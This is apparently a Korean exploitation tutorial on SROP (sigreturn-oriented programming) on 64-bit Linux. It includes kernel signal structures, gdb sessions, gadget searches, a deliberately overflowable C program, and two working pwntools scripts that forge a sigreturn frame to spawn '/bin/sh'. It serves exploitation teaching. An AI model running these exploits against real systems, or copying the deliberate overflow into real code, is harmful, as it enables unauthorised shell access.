Excuse the ads! We need some help to keep our site up.
//gcc -g -o sig64 sig.c #include <stdio.h> #include <signal.h> struct sigcontext sigcontext; void handle_signal(int signum){ printf("Signal number: %d\n", signum); } int main(){ signal(SIGINT, (void *)handle_signal); while(1) {} return 0; } |
lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./sig64 Reading symbols from ./sig64...done. gdb-peda$ b handle_signal Breakpoint 1 at 0x400571: file sig.c, line 8. gdb-peda$ handle SIGINT nostop pass Signal Stop Print Pass to program Description SIGINT No Yes Yes Interrupt gdb-peda$ |
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/SROP/sig64 ^C Program received signal SIGINT, Interrupt. Breakpoint 1, handle_signal (signum=0x2) at sig.c:8 8 printf("Signal number: %d\n", signum); gdb-peda$ bt #0 handle_signal (signum=0x2) at sig.c:8 #1 <signal handler called> #2 main () at sig.c:13 #3 0x00007ffff7a2d830 in __libc_start_main (main=0x400588 <main>, argc=0x1, argv=0x7fffffffe588, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe578) at ../csu/libc-start.c:291 #4 0x0000000000400499 in _start () gdb-peda$ |
gdb-peda$ frame 0 #0 handle_signal (signum=0x2) at sig.c:8 8 printf("Signal number: %d\n", signum); gdb-peda$ p ((struct sigcontext *)($rbp + 7 * 8))->rax $1 = 0x0 gdb-peda$ p ((struct sigcontext *)($rbp + 7 * 8))->rsp $2 = 0x7fffffffe4a0 gdb-peda$ p ((struct sigcontext *)($rbp + 7 * 8))->rip $3 = 0x40059b gdb-peda$ |
gdb-peda$ frame 1 #1 <signal handler called> gdb-peda$ x/2i $rip => 0x7ffff7a424b0 <__restore_rt>: mov rax,0xf 0x7ffff7a424b7 <__restore_rt+7>: syscall gdb-peda$ |
gdb-peda$ b 13 Breakpoint 2 at 0x40059b: file sig.c, line 13. gdb-peda$ c Continuing. Signal number: 2 Breakpoint 2, main () at sig.c:13 13 while(1) {} gdb-peda$ i r rax 0x0 0x0 rbx 0x0 0x0 rcx 0x0 0x0 rdx 0x0 0x0 rsi 0x2f2f2f2f2f2f2f2f 0x2f2f2f2f2f2f2f2f rdi 0x2 0x2 rbp 0x7fffffffe4a0 0x7fffffffe4a0 rsp 0x7fffffffe4a0 0x7fffffffe4a0 r8 0x7fffffffe3f0 0x7fffffffe3f0 r9 0x0 0x0 r10 0x8 0x8 r11 0x206 0x206 r12 0x400470 0x400470 r13 0x7fffffffe580 0x7fffffffe580 r14 0x0 0x0 r15 0x0 0x0 rip 0x40059b 0x40059b <main+19> eflags 0x202 [ IF ] cs 0x33 0x33 ss 0x2b 0x2b ds 0x0 0x0 es 0x0 0x0 fs 0x0 0x0 gs 0x0 0x0 gdb-peda$ |
asmlinkage long sys_rt_sigreturn(void){ struct pt_regs *regs = current_pt_regs(); struct rt_sigframe __user *frame; ... if (restore_sigcontext(regs, &frame->uc.uc_mcontext, uc_flags)) goto badframe; ... } |
즉, ROP와 같이 값을 레지스터에 저장할 수 있는 Gadget이 없어도 sigreturn() 함수를 이용해 각 레지스터에 원하는 값을 저장할 수 있습니다.
static int restore_sigcontext(struct pt_regs *regs, struct sigcontext __user *sc, unsigned long uc_flags){ ... #ifdef CONFIG_X86_64 COPY(r8); COPY(r9); COPY(r10); COPY(r11); COPY(r12); COPY(r13); COPY(r14); COPY(r15); #endif /* CONFIG_X86_64 */ COPY_SEG_CPL3(cs); COPY_SEG_CPL3(ss); #ifdef CONFIG_X86_64 /* * Fix up SS if needed for the benefit of old DOSEMU and * CRIU. */ if (unlikely(!(uc_flags & UC_STRICT_RESTORE_SS) && user_64bit_mode(regs))) force_valid_ss(regs); #endif ... } |
struct rt_sigframe_x32 { u64 pretcode; struct ucontext_x32 uc; compat_siginfo_t info; /* fp state follows here */ }; |
struct ucontext_x32 { unsigned int uc_flags; unsigned int uc_link; compat_stack_t uc_stack; unsigned int uc__pad0; /* needed for alignment */ struct sigcontext uc_mcontext; /* the 64-bit sigcontext type */ compat_sigset_t uc_sigmask; /* mask last for extensibility */ }; |
# else /* __x86_64__: */ struct sigcontext { __u64 r8; __u64 r9; __u64 r10; __u64 r11; __u64 r12; __u64 r13; __u64 r14; __u64 r15; __u64 rdi; __u64 rsi; __u64 rbp; __u64 rbx; __u64 rdx; __u64 rax; __u64 rcx; __u64 rsp; __u64 rip; __u64 eflags; /* RFLAGS */ __u16 cs; __u16 gs; __u16 fs; union { __u16 ss; /* If UC_SIGCONTEXT_SS */ __u16 __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */ }; __u64 err; __u64 trapno; __u64 oldmask; __u64 cr2; struct _fpstate __user *fpstate; /* Zero when no FPU context */ # ifdef __ILP32__ __u32 __fpstate_pad; # endif __u64 reserved1[8]; }; |
//gcc -fno-stack-protector -o srop64 srop64.c -ldl #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> void vuln(){ char buf[50]; void (*printf_addr)() = dlsym(RTLD_NEXT, "printf"); printf("Printf() address : %p\n",printf_addr); read(0, buf, 256); } void main(){ seteuid(getuid()); write(1,"Hello SROP\n",10); vuln(); } |
0x400756: vuln 함수 코드 첫부분
0x40079a: read() 함수 호출 전
lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./srop64 Reading symbols from ./srop64...(no debugging symbols found)...done. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x0000000000400756 <+0>: push rbp 0x0000000000400757 <+1>: mov rbp,rsp 0x000000000040075a <+4>: sub rsp,0x40 0x000000000040075e <+8>: mov esi,0x400864 0x0000000000400763 <+13>: mov rdi,0xffffffffffffffff 0x000000000040076a <+20>: call 0x400630 <dlsym@plt> 0x000000000040076f <+25>: mov QWORD PTR [rbp-0x8],rax 0x0000000000400773 <+29>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000400777 <+33>: mov rsi,rax 0x000000000040077a <+36>: mov edi,0x40086b 0x000000000040077f <+41>: mov eax,0x0 0x0000000000400784 <+46>: call 0x400600 <printf@plt> 0x0000000000400789 <+51>: lea rax,[rbp-0x40] 0x000000000040078d <+55>: mov edx,0x100 0x0000000000400792 <+60>: mov rsi,rax 0x0000000000400795 <+63>: mov edi,0x0 0x000000000040079a <+68>: call 0x400610 <read@plt> 0x000000000040079f <+73>: nop 0x00000000004007a0 <+74>: leave 0x00000000004007a1 <+75>: ret End of assembler dump. gdb-peda$ b *0x0000000000400756 Breakpoint 1 at 0x400756 gdb-peda$ b *0x000000000040079a Breakpoint 2 at 0x40079a gdb-peda$ |
다음과 같이 Overflow를 확인할 수 있습니다.
Return address(0x7fffffffe498) - buf 변수의 시작 주소 (0x7fffffffe450) = 72
즉, 72개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있습니다.
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/SROP/srop64 Hello SROP Breakpoint 1, 0x0000000000400756 in vuln () gdb-peda$ i r rsp rsp 0x7fffffffe498 0x7fffffffe498 gdb-peda$ x/gx 0x7fffffffe498 0x7fffffffe498: 0x00000000004007d0 gdb-peda$ x/i 0x00000000004007d0 0x4007d0 <main+46>: nop gdb-peda$ c Continuing. Printf() address : 0x7ffff785e800 Breakpoint 2, 0x000000000040079a in vuln () gdb-peda$ i r rsi rsi 0x7fffffffe450 0x7fffffffe450 gdb-peda$ p/d 0x7fffffffe498 - 0x7fffffffe450 $1 = 72 gdb-peda$ |
|
sigreturn() int 0x80 |
|
libc offset : printf(0x7ffff785e800) - libc base(0x7ffff7809000) = 0x55800
"/bin/sh" offset : "/bin/sh" address(0x7ffff7995d57) - libc base(0x7ffff7809000) = 0x18cd57
gdb-peda$ vmmap Start End Perm Name ... 0x00007ffff7809000 0x00007ffff79c9000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff79c9000 0x00007ffff7bc9000 ---p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7bc9000 0x00007ffff7bcd000 r--p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7bcd000 0x00007ffff7bcf000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so ... gdb-peda$ p printf $2 = {<text variable, no debug info>} 0x7ffff785e800 <__printf> gdb-peda$ p/x 0x7ffff785e800 - 0x00007ffff7809000 $3 = 0x55800 gdb-peda$ find "/bin/sh" Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc : 0x7ffff7995d57 --> 0x68732f6e69622f ('/bin/sh') gdb-peda$ p/x 0x7ffff7995d57 - 0x00007ffff7809000 $4 = 0x18cd57 gdb-peda$ |
lazenca0x0@ubuntu:~/Exploit/SROP$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1 | grep "pop rax" 0x00074c47: pop rax ; call qword [r12+0x30] ; (1 found) 0x000743ff: pop rax ; call qword [r13+0x30] ; (1 found) 0x00184d32: pop rax ; call qword [rdi+0x4656EE7E] ; (1 found) 0x00135a34: pop rax ; call rax ; (1 found) 0x00135876: pop rax ; jmp rcx ; (1 found) 0x00033544: pop rax ; ret ; (1 found) 0x0003a727: pop rax ; ret ; (1 found) 0x0003a728: pop rax ; ret ; (1 found) 0x0003a7f7: pop rax ; ret ; (1 found) 0x0003a7f8: pop rax ; ret ; (1 found) 0x0003a8a0: pop rax ; ret ; (1 found) 0x0003a8a1: pop rax ; ret ; (1 found) 0x000abc07: pop rax ; ret ; (1 found) 0x00106272: pop rax ; ret ; (1 found) 0x00106273: pop rax ; ret ; (1 found) 0x001a1448: pop rax ; ret ; (1 found) 0x000caabc: pop rax ; retn 0x002F ; (1 found) lazenca0x0@ubuntu:~/Exploit/SROP$ |
해당 Exploit code에서 사용할 "syscall ; ret" Gadget의 주소는 0xbc375 입니다.
lazenca0x0@ubuntu:~/Exploit/SROP$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1 | grep "syscall ; ret" 0x000bc375: syscall ; ret ; (1 found) 0x000cd235: syscall ; ret ; (1 found) 0x000cd245: syscall ; ret ; (1 found) 0x000cd255: syscall ; ret ; (1 found) 0x000cd265: syscall ; ret ; (1 found) 0x000cd275: syscall ; ret ; (1 found) 0x000cd485: syscall ; ret ; (1 found) 0x000f6ed5: syscall ; ret ; (1 found) 0x001077f5: syscall ; ret ; (1 found) 0x00122198: syscall ; ret ; (1 found) lazenca0x0@ubuntu:~/Exploit/SROP$ |
|
lazenca0x0@ubuntu:~/Exploit/SROP$ readelf --notes ./srop64 Displaying notes found at file offset 0x00000254 with length 0x00000020: Owner Data size Description GNU 0x00000010 NT_GNU_ABI_TAG (ABI version tag) OS: Linux, ABI: 2.6.32 Displaying notes found at file offset 0x00000274 with length 0x00000024: Owner Data size Description GNU 0x00000014 NT_GNU_BUILD_ID (unique build ID bitstring) Build ID: e3f2a207a17917c441c725ef3e150798d250b6ce lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./srop64 gdb-peda$ b *0x0000000000400756 Breakpoint 1 at 0x400756 gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/SROP/srop64 Hello SROP Breakpoint 1, 0x0000000000400756 in vuln () gdb-peda$ vmmap Start End Perm Name ... 0x00007ffffffde000 0x00007ffffffff000 rw-p [stack] 0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall] gdb-peda$ x/3i 0xffffffffff600000 0xffffffffff600000: mov rax,0x60 0xffffffffff600007: syscall 0xffffffffff600009: ret gdb-peda$ |
lazenca0x0@ubuntu:~/Exploit/SROP$ cat /usr/src/linux-headers-$(uname -r)/.config | grep VSYSCALL CONFIG_GENERIC_TIME_VSYSCALL=y CONFIG_X86_VSYSCALL_EMULATION=y # CONFIG_LEGACY_VSYSCALL_NATIVE is not set CONFIG_LEGACY_VSYSCALL_EMULATE=y # CONFIG_LEGACY_VSYSCALL_NONE is not set lazenca0x0@ubuntu:~/Exploit/SROP$ |
|
from pwn import * binary = ELF('./srop64') p = process(binary.path) sleep(20) p.recvuntil('Printf() address : ') stackAddr = p.recvuntil('\n') stackAddr = int(stackAddr,16) libcBase = stackAddr - 0x55800 sigreturn = libcBase + 0x5e96c0 binsh = libcBase + 0x18cd57 syscall = libcBase + 0xbc375 #syscall = 0xffffffffff600007 poprax = libcBase + 0x33544 print hex(libcBase) print hex(sigreturn) print hex(binsh) print hex(syscall) exploit = '' exploit += "\x90" * 72 exploit += p64(poprax) exploit += p64(0xf) exploit += p64(syscall) #ucontext exploit += p64(0x0) * 5 #sigcontext exploit += p64(0x0) #R8 exploit += p64(0x0) #R9 exploit += p64(0x0) #R10 exploit += p64(0x0) #R11 exploit += p64(0x0) #R12 exploit += p64(0x0) #R13 exploit += p64(0x0) #R14 exploit += p64(0x0) #R15 exploit += p64(binsh) #RDI exploit += p64(0x0) #RSI exploit += p64(0x0) #RBP exploit += p64(0x0) #RBX exploit += p64(0x0) #RDX exploit += p64(constants.SYS_execve) #RAX exploit += p64(0x0) #RCX exploit += p64(syscall) #RSP exploit += p64(syscall) #RIP exploit += p64(0x0) #eflags exploit += p64(0x33) #cs exploit += p64(0x0) #gs exploit += p64(0x0) #fs exploit += p64(0x2b) #ss p.send(exploit) p.interactive() |
from pwn import * binary = ELF('./srop64') p = process(binary.path) #sleep(20) p.recvuntil('Printf() address : ') stackAddr = p.recvuntil('\n') stackAddr = int(stackAddr,16) libcBase = stackAddr - 0x55800 binsh = libcBase + 0x18cd57 syscall = libcBase + 0xbc375 poprax = libcBase + 0x33544 print hex(libcBase) print hex(binsh) print hex(syscall) print hex(poprax) exploit = '' exploit += "\x90" * 72 exploit += p64(poprax) exploit += p64(0xf) exploit += p64(syscall) frame = SigreturnFrame(arch="amd64") frame.rax = 0x3b frame.rdi = binsh frame.rsp = syscall frame.rip = syscall exploit += str(frame) p.send(exploit) p.interactive() |